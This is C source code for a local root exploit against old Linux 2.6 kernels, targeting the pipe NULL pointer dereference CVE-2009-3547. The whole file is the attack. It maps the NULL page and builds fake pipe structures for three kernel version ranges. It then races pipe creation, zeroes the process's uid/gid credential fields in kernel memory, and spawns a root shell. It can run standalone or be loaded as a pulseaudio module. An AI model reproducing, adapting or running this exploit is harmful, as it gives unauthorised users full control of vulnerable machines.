/* * Exploit for the kernel pipe NULL pointer dereference bug (CVE-2009-3547). * * By Fotis Loukos * Thanks to Brad Spender for creating * the original exploit for enlightenment and sharing the knowledge! * But hey, I pointed the bug to him! :) * * It's another classic NULL pointer dereference at the Linux kernel. There * are many ways to exploit this, this one works just fine! * * Greets fly to dinos, topolino and argp! */ #include #include #include #include #include #include #include #include #include #include #include #include #define PIPE_BUFFERS (16) #define TASK_RUNNING 0 #define OPS_BASE 0x200 struct __wait_queue_head { unsigned int spinlock; /* Depending on the debug options you may have the following: */ /* unsigned int break_lock; unsigned int magic, owner_cpu; void *owner; */ void *next, *prev; }; typedef struct __wait_queue_head wait_queue_head_t; /* Versions 2.6.17 -> 2.6.19 */ struct pipe_buf_operations_v1 { int can_merge; void *map; void *unmap; int (*pin)(); void *release; void *steal; void *get; }; struct pipe_buffer_v1 { void *page; unsigned int offset, len; void *ops; unsigned int flags; }; struct pipe_inode_info_v1 { wait_queue_head_t wait; unsigned int nrbufs, curbuf; struct pipe_buffer_v1 bufs[PIPE_BUFFERS]; void *tmp_page; unsigned int start; unsigned int readers; unsigned int writers; unsigned int waiting_writers; unsigned int r_counter; unsigned int w_counter; void *fasync_readers; void *fasync_writers; void *inode; }; /* Versions 2.6.20 -> 2.6.22 */ struct pipe_buf_operations_v2 { int can_merge; void *map; void *unmap; int (*pin)(); void *release; void *steal; void *get; }; struct pipe_buffer_v2 { void *page; unsigned int offset, len; void *ops; unsigned int flags; }; struct pipe_inode_info_v2 { wait_queue_head_t wait; unsigned int nrbufs, curbuf; void *tmp_page; unsigned int readers; unsigned int writers; unsigned int waiting_writers; unsigned int r_counter; unsigned int w_counter; void *fasync_readers; void *fasync_writers; void *inode; struct pipe_buffer_v2 bufs[PIPE_BUFFERS]; }; /* Versions 2.6.23 -> 2.6.31 */ struct pipe_buf_operations_v3 { int can_merge; void *map; void *unmap; int (*confirm)(); void *release; void *steal; void *get; }; struct pipe_buffer_v3 { void *page; unsigned int offset, len; void *ops; unsigned int flags; unsigned long private; }; struct pipe_inode_info_v3 { wait_queue_head_t wait; unsigned int nrbufs, curbuf; void *tmp_page; unsigned int readers; unsigned int writers; unsigned int waiting_writers; unsigned int r_counter; unsigned int w_counter; void *fasync_readers; void *fasync_writers; void *inode; struct pipe_buffer_v3 bufs[PIPE_BUFFERS]; }; int pipefd[2]; static int done, uid, gid, stacksize, frommain; /* * Support only for 2.6 kernels. */ static inline unsigned long get_current() { unsigned long current; current = (unsigned long) ¤t; current = *(unsigned long *)(current & ~(0x1000 - 1)); stacksize = 0x1000; if((current >= 0xc0000000) && (*(unsigned long *) current == TASK_RUNNING)) return current; current = (unsigned long) ¤t; current = *(unsigned long *)(current & ~(0x2000 - 1)); stacksize = 0x2000; if((current >= 0xc0000000) && (*(unsigned long *) current == TASK_RUNNING)) return current; return 0; } /* * This will be run by the kernel. */ static int getroot() { unsigned long *current, *real_cred, *cred; int i, j; if(!(current = (unsigned long *) get_current())) return 1; /* The following should work till 2.6.28.10 since 2.6.29 uses COW */ for(i = 0; i < stacksize; i++) { if((current[0] == uid) && (current[1] == uid) && (current[2] == uid) && (current[3] == uid) && (current[4] == gid) && (current[5] == gid) && (current[6] == gid) && (current[7] == gid)) { current[0] = current[1] = current[2] = current[3] = 0; current[4] = current[5] = current[6] = current[7] = 0; done = 2; return 1; } current++; } current = (unsigned long *) get_current(); /* COW creds on kernel ver >= 2.6.29 */ real_cred = cred = NULL; for(i = 0; i < stacksize - 16; i++) { if(((frommain == 1) && (!memcmp((char *) current, "gayros", 7))) || ((frommain == 0) && (!memcmp((char *) current, "pulseaudio", 10)))) { /* * Found comm, we must go back, search for the mutex and then * back again for the cred structs. */ for(j = 0; j < stacksize - i - 12; j++) { if(*(unsigned int *)current == 1) { real_cred = *((unsigned long **) current - 3); cred = *((unsigned long **) current - 2); break; } current--; } break; } current++; } if(real_cred) { /* Skip counter */ real_cred++; cred++; if((real_cred[0] == uid) && (real_cred[1] == gid) && (real_cred[2] == uid) && (real_cred[3] == gid) && (real_cred[4] == uid) && (real_cred[5] == gid) && (real_cred[6] == uid) && (real_cred[7] == gid)) { real_cred[0] = real_cred[1] = real_cred[2] = real_cred[3] = 0; real_cred[4] = real_cred[5] = real_cred[6] = real_cred[7] = 0; } if((cred[0] == uid) && (cred[1] == gid) && (cred[2] == uid) && (cred[3] == gid) && (cred[4] == uid) && (cred[5] == gid) && (cred[6] == uid) && (cred[7] == gid)) { cred[0] = cred[1] = cred[2] = cred[3] = 0; cred[4] = cred[5] = cred[6] = cred[7] = 0; } done = 2; } return 1; } /* * The thread that will create the pipe. */ int mkpipe(void *arg) { while(!done) { if(!pipe(pipefd)) { close(pipefd[1]); close(pipefd[0]); } } return 0; } /* * This will spawn the thread above and try to trigger the race. */ void trigger() { char *stack, buf[64]; int fd, i; /* Without this we'll get killed before triggering the race. */ signal(SIGPIPE, SIG_IGN); /* This is a nice trick below, thanks spender! */ if((stack = malloc(0x4000)) == NULL) { perror("malloc"); exit(1); } if(clone(mkpipe, stack + 0x4000 - sizeof(unsigned long), CLONE_FS | CLONE_FILES | CLONE_SIGHAND | CLONE_VM | CLONE_THREAD, NULL) < 0) { perror("clone"); exit(1); } for(i = 0; (i < 10000000) && !done; i++) { snprintf(buf, 64, "/proc/self/fd/%i", pipefd[1]); fd = open(buf, O_WRONLY); if(fd < 0) continue; write(fd, ".", 1); close(fd); } if(!done) done = 1; } /* * Get structure version. It uses the kernel version as returned by uname. */ int getver(void) { struct utsname uts; int ver; uname(&uts); printf("Using kernel version %s.\n", uts.release); if(uts.release[0] != '2' || (uts.release[1] != '.')) { printf("WTF? Version different than 2?\n"); printf("Where did you find this, www.ancientexploits.org?\n"); exit(1); } if(uts.release[2] != '6') { printf("Exploit works only at some 2.6.x kernels.\n"); printf("If you're using an older version, please upgrade or "); printf("find another exploit (yes, you're vulnerable).\n"); printf("If you're using a newer version, please downgrade.\n"); exit(1); } ver = atoi(&uts.release[4]); if(ver < 17) { printf("Versions < 2.6.17 aren't supported, find another exploit or "); printf("write your own.\n"); printf("Yes, you're vulnerable too.\n"); exit(1); } if(ver < 20) return 1; if(ver < 23) return 2; return 3; } void runexploit(void) { int version; if(personality(0xffffffff) == PER_SVR4) { if(mprotect(0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC) == -1) { perror("mprotect"); exit(1); } } else if(mmap(0x0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0) == MAP_FAILED) { perror("mmap"); exit(1); } printf("We got NULL page babe!\n"); uid = getuid(); gid = getgid(); version = getver(); /* * It's almost the same for every version, just the structures and some * names change. We also create a valid wait_queue_head_t in order not * to get an oops while closing the fd. */ if(version == 1) { struct pipe_inode_info_v1 *pipe; struct pipe_buf_operations_v1 *ops; printf("Found version 1 structure, doing our tricks in memory...\n"); pipe = (struct pipe_inode_info_v1 *) 0x0; pipe->readers = 1; pipe->nrbufs = 1; pipe->curbuf = 0; pipe->bufs[0].ops = (struct pipe_buf_operations_v1 *) OPS_BASE; pipe->wait.next = &pipe->wait.next; pipe->wait.spinlock = 1; ops = (struct pipe_buf_operations_v1 *) OPS_BASE; ops->can_merge = 1; ops->pin = getroot; } else if(version == 2) { struct pipe_inode_info_v2 *pipe; struct pipe_buf_operations_v2 *ops; printf("Found version 2 structure, doing our tricks in memory...\n"); pipe = (struct pipe_inode_info_v2 *) 0x0; pipe->readers = 1; pipe->nrbufs = 1; pipe->curbuf = 0; pipe->bufs[0].ops = (struct pipe_buf_operations_v2 *) OPS_BASE; pipe->wait.next = &pipe->wait.next; pipe->wait.spinlock = 1; ops = (struct pipe_buf_operations_v2 *) OPS_BASE; ops->can_merge = 1; ops->pin = getroot; } else if(version == 3) { struct pipe_inode_info_v3 *pipe; struct pipe_buf_operations_v3 *ops; printf("Found version 3 structure, doing our tricks in memory...\n"); pipe = (struct pipe_inode_info_v3 *) 0x0; pipe->readers = 1; pipe->nrbufs = 1; pipe->curbuf = 0; pipe->bufs[0].ops = (struct pipe_buf_operations_v3 *) OPS_BASE; pipe->wait.next = &pipe->wait.next; pipe->wait.spinlock = 1; ops = (struct pipe_buf_operations_v3 *) OPS_BASE; ops->can_merge = 1; ops->confirm = getroot; } else { printf("WTF is going on? getver() returned an invalid value!\n"); exit(1); } printf("Go go go boy!\n"); trigger(); if(done == 2) { printf("We've got bush!\n"); execl("/bin/sh", "sh", NULL); } printf("No luck this time, are you on an SMP box? :(\n"); exit(1); } /* * It works from pulseaudio */ int pa__init(void *m) { runexploit(); return 0; } void pa__done(void *m) { } /* * And as standalone */ int main(int argc, char **argv) { frommain = 1; runexploit(); return 0; }